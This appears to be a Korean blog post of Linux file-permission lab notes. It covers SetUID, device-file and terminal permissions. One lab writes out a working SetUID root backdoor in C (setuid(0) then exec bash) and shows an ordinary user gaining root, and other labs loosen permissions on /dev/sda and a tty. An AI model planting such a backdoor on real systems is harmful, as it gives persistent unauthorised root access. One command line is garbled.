# find / \( -perm -4000 -o -perm -2000 \) 2>/dev/null -ls


=========================================================================================



setUID 는 잠재적인

보안 문제점을 야기할 수 있다.    >>>>>   리눅스 설치 후 불필요한 SetUID 파일들은 모두 제거해야 한다.

======================================================================

LAB> SetUID 를 이용한 백도어

구글에서 검색

참고 : http://www.joinc.co.kr/modules/moniwiki/wiki.php/article/%BE%C8%C0%FC%C7%D1_%C7%C1%B7%CE%B1%D7%B7%A1%B9%D6


# vi /tmp/backdoor.c

-- /tmp/backdoor.c --

#include <stdio.h>

#include <sys/types.h>

#include <unistd.h>


int main()

{

  setuid(0);  // 루트 관리자의 권한을 얻는 함수, 프로그램 내에 setuid()가 없으면 execl 함수 실행 불가능

  execl("/bin/bash", "bash", NULL);   // 절대경로, 프로그램명, 다음인자 (없으면 null) 

  return 0;

}

-- /tmp/backdoor.c --


# gcc -o backdoor backdoor.c 

# chmod u+s backdoor

# su linux

$ id

uid=500(linux) gid=500(linux) groups=500(linux) 

$ ./backdoor 

# id

uid=0(root) gid=500(linux) groups=500(linux)

======================================================================

======================================================================

LAB> 자주 쓰는 프로그램들의 SetUID 권한 확인하기


# ls -l /bin/su

# ls -l /bin/ping

# ls -l /bin/mount

-rwsr-xr-x 1 root root 59540 Nov  8  2012 /bin/mount

# ls -l /usr/bin/passwd 

-rwsr-xr-x 1 root root 23420 Aug 11  2010 /usr/bin/passwd

# ls -l /usr/bin/crontab 

-rwsr-sr-x 1 root root 309932 Feb 23  2012 /usr/bin/crontab


======================================================================

=========================================================================================

LAB> 읽기 권한 디렉토리 실습하기


$ ls -ld /bin

drwxr-xr-x 2 root root 4096 Oct 17 12:17 /bin

       ~~~

$ ls -ld /root

drwxr-x--- 11 root root 4096 Oct 23 23:21 /root

       ~~~

$ ls /root

ls: /root: Permission denied

=========================================================================================


=========================================================================================
LAB> /dev/sda 장치 파일의 읽기권한을 이용한 파티션 정보 출력하기

-----------------------------------------------------------
brw-r----- root disk /dev/sda  <-- 일반유저가 읽을 수 없다.
~~~~~~~~~~ ~~~~ ~~~~ ~~~~~~~~
brw-r--r-- root disk /dev/sda  <-- 일반유저가 읽을 수 있다.
~~~~~~~~~~ ~~~~ ~~~~ ~~~~~~~~
-----------------------------------------------------------

~ # ls -l /dev/sda
brw-r----- 1 root disk 8, 0 Nov 20 19:30 /dev/sda    ----> 왜 일반 사용자들은 r권한이 없을까?
~ # fdisk -l /dev/sda

Disk /dev/sda: 8589 MB, 8589934592 bytes
255 heads, 63 sectors/track, 1044 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes

   Device Boot      Start         End      Blocks   Id  System
/dev/sda1   *           1         913     7333641   83  Linux
/dev/sda2             914        1044     1052257+  82  Linux swap / Solaris

~ # su - linux  <-- Other 부분에 읽기 권한이 없으므로 볼 수 없다.
~ $ /sbin/fdisk -l /dev/sda
Cannot open /dev/sda
~ $ exit

~ # chmod -c o+r /dev/sda
mode of `/dev/sda' changed to 0644 (rw-r--r--)

~ $ /sbin/fdisk -l /dev/sda  <-- Other 에 읽기 권한이 있으므로 볼 수 있다.

Disk /dev/sda: 8589 MB, 8589934592 bytes
255 heads, 63 sectors/track, 1044 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes

   Device Boot      Start         End      Blocks   Id  System
/dev/sda1   *           1         913     7333641   83  Linux
/dev/sda2             914        1044     1052257+  82  Linux swap / Solaris
===========================================================================================================


===========================================================================================================
LAB> 스크립트와 바이너리 파일의 실행권한 테스트

-- LAB 순서 --
1. 스크립트 파일 (rx 가 있을 경우)
2. 스크립트 파일 (x 만 있을 경우)
3. 바이너리 파일 (rx 가  있을 경우)
4. 바이너리 파일 (x 만 있을 경우)
5. 바이너리 파일 (x 를 제거할 경우)
-- LAB 순서 --

1. 스크립트 파일 (rx 가 있을 경우)
- 관리자가 a.sh 파일을 생성하고 관리자와 일반유저가 실행해보자.
~ # cd /tmp
/tmp # cat >> a.sh
#!/bin/sh

i=123
echo $i

/tmp # ls -l a.sh
-rw-r--r-- 1 root root 25 Feb 17 22:47 a.sh

/tmp # chmod a+x a.sh
/tmp # ./a.sh 
123

- 일반유저가 a.sh 파일을 실행한다.
/tmp $ ./a.sh         <-- a.sh 가 실행된 이유는 rx 권한이 있기 때문에 실행이 되었다.
123

2. 스크립트 파일 (x 만 있을 경우)
- 관리자가 a.sh 파일의 일반유저 부분의 읽기권한을 제거하고 일반유저가 실행해보자.
/tmp # chmod -c o-r a.sh 
mode of `a.sh' changed to 0751 (rwxr-x--x)

- 일반유저는 읽기 권한이 없으므로 실행파일을 실행할 수 없다.
/tmp $ ./a.sh        
/bin/sh: ./a.sh: Permission denied  

- 관리자는 파일의 읽기 권한을 제거하지만 실행이 된다. (왜 ? 관리자는 읽기/쓰기의 제약을 받지 않는다.)
/tmp # chmod -c ug-r a.sh 
mode of `a.sh' changed to 0311 (-wx--x--x)
/tmp # ./a.sh   
123

3. 바이너리 파일 (rx 가  있을 경우)
- 관리자가 바이너리 파일을 만들고 일반유저가 파일을 실행하고 복사해보자.
/tmp # vi hello.c
-- hello.c --
#include <stdio.h>

int main()
{
  puts("Hello C");
  return 0;
}
-- hello.c --
/tmp # gcc -o hello hello.c  <-- hello.c 를 hello 로 컴파일해서 실행파일을 생성한다.
/tmp # ls -l hello
-rwxr-xr-x 1 root root 4937 Feb 17 23:06 hello
/tmp # ./hello           <-- x 권한이 있으므로 hello 파일이 실행된다.
Hello C

/tmp $ ./hello           <-- 일반유저 또한 x 권한이 있으므로 hello 파일이 실행된다.
Hello C

- r 권한이 있으므로 복사할 수 있다. 
( 파일을 복사한다는 것은 읽기 권한이 있어야 한다. )
/tmp $ cp hello hello2   
/tmp $ ls -l hello2
-rwxr-xr-x 1 linux linux 4937 Feb 17 23:23 hello2
/tmp $ ./hello2
Hello C

4. 바이너리 파일 (x 만 있을 경우)
- 관리자가 Other 부분의 r 권한을 제거하고 일반유저가 파일을 실행하고 복사해보자.
/tmp # chmod o-r hello   
/tmp # ls -l hello
-rwxr-x--x 1 root root 4937 Feb 17 23:06 hello

/tmp $ ./hello   <-- x 권한이 있으므로 실행이 된다. (바이너리 파일은 r 권한이 없어도 실행이 된다.)
Hello C
/tmp $ cp hello hello3   <-- Other 부분의 r 권한이 없으므로 복사가 안된다.
cp: cannot open `hello' for reading: Permission denied


!!! 다른 사용자가 실행은 하되 복사는 할 수 없게 하려면, r 권한은 해제하고 x 권한만 부여한다.. !!!

5. 바이너리 파일 (x 를 제거할 경우)
- 관리자가 x 권한을 모두 제거하고 실행해 보면 아무도 이 파일을 실행할 수 없다.
/tmp # chmod a-x he/tmp # ls -l hello
-rw-r----- 1 root root 4937 Feb 17 23:06 hellollo   

/tmp # ./hello
- bash: ./hello: Permission denied

/tmp $ ./hello
- bash: ./hello: Permission denied
=========================================================================================

=========================================================================================

LAB> 쓰기권한 테스트 (장치파일)

메세지를 받는 사용자 : 관리자 root

메세지를 보내는 사용자 : 일반유저 linux


/tmp # tty

/dev/pts/0

/tmp # ls -l /dev/pts/0

crw--w---- 1 root tty 136, 0 Feb 18 00:43 /dev/pts/0


# mesg y

$ wall hello   <-- 일반유저가 root 사용자에게 메세지를 보낸다.


# mesg n       <-- (mesg n) == (chmod g-w /dev/pts/0)

# ls -l /dev/pts/0

crw------- 1 root tty 136, 0 Feb 18 00:43 /dev/pts/0

$ wall hello    <-- 일반 유저가 root 에게 메세지를 보낼 수 없다.


Broadcast message from linux (pts/1) (Tue Feb 18 00:43:24 2014):


hello


# mesg y

# chmod g-s /usr/bin/wall   <-- 일반 유저가 wall 로 메세지를 보낼 수 없다.

$ wall hello                <-- (일반사용자는)tty 권한이 없으므로 root에게 메세지를 보낼 수 없다.  


# chmod o+w /dev/pts/0 

# ls -l /dev/pts/0

crw--w--w- 1 root tty 136, 0 Feb 18 00:48 /dev/pts/0   


[root@localhost tmp]# ls -l `which wall`

-r-xr-sr-x 1 root tty 8216 Jul 22  2011 /usr/bin/wall     

--->wall 이 tty 그룹이기 때문에 pts/0 의 그룹권한에 w권한이 있기 때문에 메시지를 보낼 수 있는 것이다.



=========================================================================================

=========================================================================================

LAB> 디렉토리 권한 테스트


# cd

# pwd

/root

# ls -ld

drwxr-x--- 11 root root 4096 Oct 24 02:00 .

# chmod o+r .

# ls -ld

drwxr-xr-- 11 root root 4096 Oct 24 02:00 .


- 일반유저가 /root 디렉토리에 x 권한이 없으므로 접근할 수 없다.

- 따라서 디렉토리에 x 권한이 없고 r 권한이 있는 것은 잘못된 것이다.

- 그 예를 아래쪽에서 보여주는 것이다.

$ pwd

/home/user1

$ cd /root

-bash: cd: /root: Permission denied

$ ls -l /root

total 0

?--------- ? ? ? ?            ? a

?--------- ? ? ? ?            ? A

?--------- ? ? ? ?            ? a.c

  :

  :

=========================================================================================


=========================================================================================

LAB> 터미널에 쓰기 연습

- linux 사용자

# echo 1234 | passwd --stdin linux

Changing password for user linux.

passwd: all authentication tokens updated successfully.

# ssh linux@localhost

linux@localhost's password: 

Last login: Sat Apr 18 04:14:11 2015 from 127.0.0.1

$ tty

/dev/pts/3

$ ls -l /dev/pts/3 

crw--w---- 1 linux tty 136, 3 Apr 18 04:15 /dev/pts/3

$ ls -l `tty`

crw--w---- 1 linux tty 136, 3 Apr 18 04:16 /dev/pts/3

$ chmod o+w /dev/pts/3

$ ls -l `tty`

crw--w--w- 1 linux tty 136, 3 Apr 18 04:17 /dev/pts/3


$ 1234


- windows 사용자

# useradd windows

# su - windows

$ echo 1234 > /dev/pts/3

-bash: /dev/pts/3: Permission denied

$ echo 1234 > /dev/pts/3

=========================================================================================



'Linux > 기타' 카테고리의 다른 글

프로세스#2  (0) 2015.04.23
프로세스#1  (0) 2015.04.22
yum  (0) 2015.04.20
rpm  (0) 2015.04.17
소프트웨어 설치  (0) 2015.04.16